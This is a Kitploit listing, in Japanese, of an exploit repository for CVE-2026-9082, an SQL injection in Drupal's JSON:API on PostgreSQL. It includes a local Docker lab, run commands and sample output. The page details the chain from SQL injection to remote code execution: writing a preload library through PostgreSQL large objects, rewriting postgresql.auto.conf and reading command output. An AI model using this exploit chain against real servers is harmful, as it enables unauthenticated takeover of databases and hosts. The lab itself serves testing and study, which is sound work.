Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-9082-drupal-postgresql-rce — CVE-2026-9082 のエクスプロイト。Drupal JSON:API PostgreSQL SQL インジェクションを利用し、preload ライブラリ経由で RCE に昇格させるもので、テスト用のローカルラボを備えています。 | Kitploit
ツール/GitHubGitHub/ambionics/cve-2026-9082-drupal-postgresql-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテスト学習と教育ペイロード開発データベースセキュリティバイナリエクスプロイト
ラボと実践
GitHubambionics/cve-2026-9082-drupal-postgresql-rce

cve-2026-9082-drupal-postgresql-rce

CVE-2026-9082 のエクスプロイト。Drupal JSON:API PostgreSQL SQL インジェクションを利用し、preload ライブラリ経由で RCE に昇格させるもので、テスト用のローカルラボを備えています。

リポジトリを見る
1153ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9082 Drupal PostgreSQL SQLi to RCE

このリポジトリには、Ambionics の記事で説明されている Drupal JSON:API PostgreSQL SQL インジェクション用のローカルラボと短いエクスプロイトが含まれています。

エクスプロイトの重要な部分は PostgreSQL の権限昇格です: インジェクションが PostgreSQL スーパーユーザーとして SELECT 式を評価できるようになると、ラージオブジェクトを介してネイティブプリロードライブラリを書き込み、postgresql.auto.conf をリロードし、session_preload_libraries をトリガーし、pg_read_file() でコマンド出力を取得します。

エクスプロイトはまず version() を読み取り、検出されたメジャーバージョンに対応する PostgreSQL モジュールマジックブロックを構築します。PostgreSQL 12、13-14、15-17、および 18+ のモジュール ABI レイアウトを処理します。ローカルのコンパイラは、対象の PostgreSQL サーバーと同じ CPU アーキテクチャ用の共有オブジェクトを生成する必要があります。

このラボは、執筆時点での最新の PostgreSQL リリースである PostgreSQL 18.4 を使用しています。PostgreSQL の権限昇格パスは、PostgreSQL 12.20 から PostgreSQL 18.4 までテストされています。

内容

root@kitploit:~
.
├── docker-compose.yml
├── drupal/
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md

このラボでは以下を使用しています:

root@kitploit:~
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache

Drupal は postgres スーパーユーザーとして PostgreSQL に接続されているため、SELECT のみの SQL インジェクションを RCE に昇格できます。

要件

root@kitploit:~
docker compose version
python3 --version
cc --version

出力例:

root@kitploit:~
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

ラボを起動する

コンテナをビルドして起動します:

root@kitploit:~
docker compose build --quiet
docker compose up -d

期待される出力:

root@kitploit:~
Container cve9082-pg18    Started
Container cve9082-drupal  Started

Drupal が healthy になるまで待ちます:

root@kitploit:~
docker compose ps

期待される出力:

root@kitploit:~
NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)

ラボは以下で待ち受けます:

root@kitploit:~
http://127.0.0.1:8089

ラボの検証

PostgreSQL のバージョンを確認します:

root@kitploit:~
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'

期待される出力:

root@kitploit:~
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

JSON:API がシードされた記事を公開していることを確認します:

root@kitploit:~
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'

期待される出力:

root@kitploit:~
{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}

Python 依存関係のインストール

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

期待される出力:

root@kitploit:~
Successfully installed requests-...

エクスプロイトを実行

認証なし JSON:API SQL インジェクションを介して id を実行します:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id

期待される出力:

root@kitploit:~
[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes

別のコマンドを実行します:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'

期待される出力:

root@kitploit:~
[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0

ラボの停止

データベースボリュームを保持したままコンテナを停止します:

root@kitploit:~
docker compose down

コンテナを停止し、データベースボリュームを削除します:

root@kitploit:~
docker compose down -v
ツールをダウンロード